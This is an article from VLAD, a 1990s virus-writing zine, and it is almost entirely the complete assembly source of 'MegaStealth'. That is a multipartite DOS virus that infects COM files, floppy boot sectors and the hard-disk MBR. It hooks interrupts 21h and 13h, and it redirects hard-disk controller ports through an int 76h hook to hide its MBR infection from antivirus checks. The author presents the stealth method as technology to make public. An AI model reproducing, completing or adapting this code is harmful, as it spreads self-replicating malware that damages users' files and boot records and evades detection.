VLAD Magazine - Issue #3 - Article.5_5 - MegaStealth Virus - Source Code

;       MegaStealth Virus Source by qark
;
;       COM/BS/MBR Infector
;       It uses the new form of stealth developed by the 'strange' virus in
;       that even if you are using the original ROM int 13h the virus will
;       still successfully stealth.  It does this by hooking the hard disk
;       IRQ, int 76h, and checking the ports for a read to the MBR.  If the
;       MBR is being read, the ports will be changed to cause a read from
;       sector four instead.
;
;       Noone has the 'strange' virus (and believe me, every VX BBS in the
;       world has been checked), so I decided to develop the technology
;       independently and make the information public.
;




    org     0

    cld
    mov     ax,cs
    or      ax,ax
    jz      bs_entry
    jmp     com_entry

;------------------- Boot Sector Stub ----------------
Marker  db      '[MegaStealth] by qark/VLAD',0

bs_entry:
    xor     ax,ax
    mov     si,7c00h
    cli
    mov     ss,ax
    mov     sp,si
    sti
    mov     es,ax
    mov     ds,ax

    ;CS,DS,ES,SS,AX=0    SI,SP=7C00H

    sub     word ptr [413h],2       ;Allocate 2k of memory.

    int     12h                     ;Get memory into AX.

    mov     cl,6
    shl     ax,cl
    mov     es,ax

    mov     ax,202h
    xor     bx,bx
    xor     dh,dh
    mov     cx,2
    or      dl,dl
    js      hd_load

    db      0b9h                    ;MOV CX,xxxx
    floppy_sect     dw      0
    db      0b6h                    ;MOV DH,xx
    floppy_head     db      0

hd_load:
    int     13h                     ;Read our virus in.

    mov     si,13h*4
    mov     di,offset i13
    movsw
    movsw
    mov     word ptr [si-4],offset handler
    mov     word ptr [si-2],es

    mov     byte ptr es:set_21,0

    ;Test for an 8088.
    mov     al,2
    mov     cl,33
    shr     al,cl
    test    al,1
    jz      no_int76                ;8088 doesn't use int76

    mov     si,76h*4                ;Set int76
    mov     di,offset i76
    movsw
    movsw
    mov     word ptr [si-4],offset int76handler
    mov     word ptr [si-2],es

    mov     byte ptr es:llstealth_disable,0

no_int76:
    int     19h                     ;Reload the original bootsector.

;------------------- COM Stub ----------------

com_entry:

    db      0beh                    ;MOV SI,xxxx
    delta   dw      100h

    mov     ax,0f001h
    int     13h

    cmp     ax,10f0h
    je      resident

    mov     ax,ds
    dec     ax
    mov     ds,ax

    cmp     byte ptr [0],'Z'
    jne     resident

    sub     word ptr [3],7dh
    sub     word ptr [12h],7dh
    mov     ax,word ptr [12h]

    push    cs
    pop     ds
    mov     es,ax
    xor     di,di

    push    si

    mov     cx,1024
    rep     movsb

    xor     ax,ax                   ;Set int13
    mov     ds,ax
    mov     si,13h*4
    mov     di,offset i13
    movsw
    movsw
    mov     word ptr [si-4],offset handler
    mov     word ptr [si-2],es

    pop     bx
    push    bx
    add     bx,offset end_virus

    push    es

    push    cs
    pop     es
    mov     ax,201h
    mov     cx,1
    mov     dx,80h
    int     13h

    pop     es

    mov     si,21h*4
    mov     di,offset i21
    movsw
    movsw
    mov     word ptr [si-4],offset int21handler
    mov     word ptr [si-2],es

    mov     byte ptr es:set_21,1
    pop     si

resident:
    push    cs
    pop     ds
    push    cs
    pop     es

    add     si,offset old4
    mov     di,100h
    push    di
    movsw
    movsw

    ret

old4    db      0cdh,20h,0,0
new4    db      0e9h,0,0,'V'

;------------------- Int 21 ----------------

Int21handler:
    push    ax
    push    es
    mov     ax,0b800h
    mov     es,ax
    mov     word ptr es:[340],0afafh

    pop     es
    pop     ax

    push    ax
    xchg    al,ah
    cmp     al,3dh
    je      chk_infect
    cmp     al,4bh
    je      chk_infect
    cmp     al,43h
    je      chk_infect
    cmp     al,56h
    je      chk_infect
    cmp     ax,6ch
    je      chk_infect
    pop     ax
exit_21:
    db      0eah
    i21     dd      0

far_pop:
    jmp     pop_21

chk_infect:
    push    bx
    push    cx
    push    dx
    push    si
    push    di
    push    ds
    push    es

    cmp     al,6ch
    jne     no_6c
    mov     dx,si
no_6c:
    mov     si,dx
    cld
keep_lookin:
    lodsb
    cmp     al,'.'
    jne     keep_lookin
    lodsw
    or      ax,2020h
    cmp     ax,'oc'
    jne     far_pop
    lodsb
    or      al,20h
    cmp     al,'m'
    jne     far_pop
    mov     ax,3d02h
    call    int21h
    jc      far_pop
    xchg    bx,ax

    mov     ah,3fh
    mov     cx,4
    push    cs
    pop     ds
    mov     dx,offset old4
    call    int21h

    mov     ax,word ptr [old4]
    cmp     al,0e9h
    jne     chk_exe
    mov     al,byte ptr old4+3
    cmp     al,'V'
    je      close_exit
    jmp     infect
chk_exe:
    or      ax,2020h
    cmp     ax,'mz'
    je      close_exit
    cmp     ax,'zm'
    je      close_exit
infect:
    call    lseek_end
    or      dx,dx                   ;Too big
    jnz     close_exit
    cmp     ax,63500
    ja      close_exit
    cmp     ax,1000
    jb      close_exit

    push    ax
    add     ax,100h
    mov     delta,ax
    pop     ax
    sub     ax,3
    mov     word ptr new4+1,ax

    mov     ax,5700h
    call    int21h
    jc      close_exit
    push    cx
    push    dx

    mov     ah,40h
    mov     cx,offset end_virus
    xor     dx,dx
    call    int21h
    jc      time_exit

    call    lseek_start

    mov     ah,40h
    mov     cx,4
    mov     dx,offset new4
    call    int21h


time_exit:
    pop     dx
    pop     cx
    mov     ax,5701h
    call    int21h

close_exit:
    mov     ah,3eh
    call    int21h
pop_21:
    pop     es
    pop     ds
    pop     di
    pop     si
    pop     dx
    pop     cx
    pop     bx
    pop     ax
    jmp     exit_21

lseek_start:
    mov     al,0
    jmp     short lseek
lseek_end:
    mov     al,2
lseek:
    xor     cx,cx
    cwd
    mov     ah,42h
    call    int21h
    ret


Int21h:
    pushf
    call dword ptr cs:i21
    ret

    set_21  db      0       ;1 = 21 is set
;------------------- Int 13 ----------------

Stealth:
    mov     cx,4
    mov     ax,201h

    or      dl,dl
    js      stealth_mbr             ;DL>=80H then goto stealthmbr

    mov     cl,14
    mov     dh,1
stealth_mbr:
    call    int13h
    jmp     pop_end

res_test:
    xchg    ah,al
    iret

multipartite:
    cmp     byte ptr cs:set_21,1
    je      jend
    cmp     word ptr es:[bx],'ZM'
    jne     jend
    push    si
    push    di
    push    ds
    push    es

    xor     si,si
    mov     ds,si
    push    cs
    pop     es

    mov     si,21h*4
    mov     di,offset i21
    movsw
    movsw
    mov     word ptr [si-4],offset int21handler
    mov     word ptr [si-2],es

    mov     byte ptr cs:set_21,1

    pop     es
    pop     ds
    pop     di
    pop     si
    jmp     jend

rend:
    retf    2

Jend:
    db      0eah                    ;= JMP FAR PTR
    i13     dd      0               ;Orig int13h

Handler:
    cmp     ax,0f001h               ;You fool.
    je      res_test

    cmp     ah,2
    jne     multipartite

    cmp     cx,1
    jne     multipartite

    or      dh,dh
    jnz     multipartite


    call    int13h                  ;Call the read so we can play with
                    ; the buffer.
    jc      rend                    ;The read didn't go through so leave

    pushf
    push    ax
    push    bx
    push    cx
    push    dx
    push    si
    push    di
    push    ds
    push    es

    cmp     word ptr es:[bx+offset marker],'M['
    je      stealth

    mov     byte ptr cs:llstealth_disable,1

    mov     cx,4                    ;Orig HD MBR at sector 3.

    or      dl,dl                   ;Harddisk ?
    js      write_orig              ;80H or above ?

    ;Calculate shit like track/head for floppy******
    push    dx

    push    cs
    pop     ds

    mov     ax,es:[bx+18h]          ;Sectors per track.
    sub     es:[bx+13h],ax          ;Subtract a track.
    mov     ax,es:[bx+13h]          ;AX=total sectors.
    mov     cx,es:[bx+18h]          ;CX=sectors per track
    xor     dx,dx
    div     cx                      ;Total sectors/sectors per track

    xor     dx,dx
    mov     cx,word ptr es:[bx+1ah] ;CX=heads
    div     cx                      ;Total tracks/heads

    push    ax
    xchg    ah,al                   ;AX=Track
    mov     cl,6
    shl     al,cl                   ;Top 2 bits of track.
    or      al,1                    ;We'll use the first sector onward.
    mov     word ptr floppy_sect,ax

    pop     ax
    mov     cx,word ptr es:[bx+1ah] ;CX=heads
    xor     dx,dx
    div     cx                      ;Track/Total Heads

    mov     byte ptr floppy_head,dl ;Remainder=Head number

    mov     cx,14                   ;Floppy root directory.
    pop     dx
    mov     dh,1

write_orig:
    mov     ax,301h                 ;Save the original boot sector.
    call    int13h
    jc      pop_end

    push    es
    pop     ds

    mov     si,bx
    push    cs
    pop     es                      ;ES=CS
    mov     cx,510                  ;Move original sector to our buffer.
    cld
    mov     di,offset end_virus
    rep     movsb

    mov     ax,0aa55h               ;End of sector marker.
    stosw

    push    cs
    pop     ds

    xor     si,si
    mov     di,offset end_virus
    mov     cx,offset com_entry
    rep     movsb

    mov     bx,offset end_virus

    mov     ax,301h
    mov     cx,1
    xor     dh,dh

    call    int13h
    jc      pop_end

    mov     ax,302h
    mov     cx,2
    xor     bx,bx
    or      dl,dl
    js      mbr_write

    mov     cx,word ptr floppy_sect
    mov     dh,byte ptr floppy_head

mbr_write:

    call    int13h                  ;Write the virus!

pop_end:
    mov     byte ptr cs:llstealth_disable,0

    pop     es
    pop     ds
    pop     di
    pop     si
    pop     dx
    pop     cx
    pop     bx
    pop     ax
    popf
    jmp     rend


Int13h  Proc    Near
; AH & AL are swapped on entry to this call.

    pushf                   ;Setup our interrupt
    push    cs              ;Our segment
    call    jend            ;This will also fix our AX
    ret

Int13h  EndP

;------------------- Int 76 ----------------

not_bs:
    pop     es
    pop     ds
    pop     di
    pop     dx
    pop     cx
    pop     bx
    pop     ax
no_stealth:
    db      0eah                    ;JMPF
    i76     dd      0

Int76Handler:
    cmp     byte ptr cs:llstealth_disable,1
    je      no_stealth

    push    ax
    push    bx
    push    cx
    push    dx
    push    di
    push    ds
    push    es

    mov     dx,1f3h
    in      al,dx           ;Sector number.
    cmp     al,1
    jne     not_bs
    inc     dx              ;1f4h
    in      al,dx           ;Cylinder Low
    cmp     al,0
    jne     not_bs
    inc     dx              ;1f5h
    in      al,dx           ;Cylinder High
    cmp     al,0
    jne     not_bs
    inc     dx              ;1f6h
    in      al,dx
    and     al,0fh          ;Remove everything but the head.
    cmp     al,0            ;Head
    jne     not_bs

    inc     dx              ;1f7h
    in      al,dx

    test    al,0fh
    jnz     disk_read
    jmp     not_bs          ;Must be a write.
disk_read:
    cld
    mov     dx,1f0h
    push    cs
    pop     es
    mov     di,offset end_virus
    mov     cx,512/2
    rep     insw            ;Read in what they read.

    ;Now reset the whole system for a read from sector 4.

    mov     dx,1f2h
    mov     al,1            ;One sector.
    out     dx,al
    inc     dx
    mov     al,4            ;Sector 4 instead.
    out     dx,al   ;1f3
    mov     al,0
    inc     dx
    out     dx,al   ;1f4
    inc     dx
    out     dx,al   ;1f5
    inc     dx
    mov     al,0a0h
    out     dx,al   ;1f6

    mov     dx,1f7h
    mov     al,20h          ;Read function.
    out     dx,al
not_done:
    in      al,dx
    test    al,8
    jz      not_done
    jmp     not_bs

llstealth_disable       db      0       ;0 means int76 enabled
;---------------------- 76 -------------------

end_virus: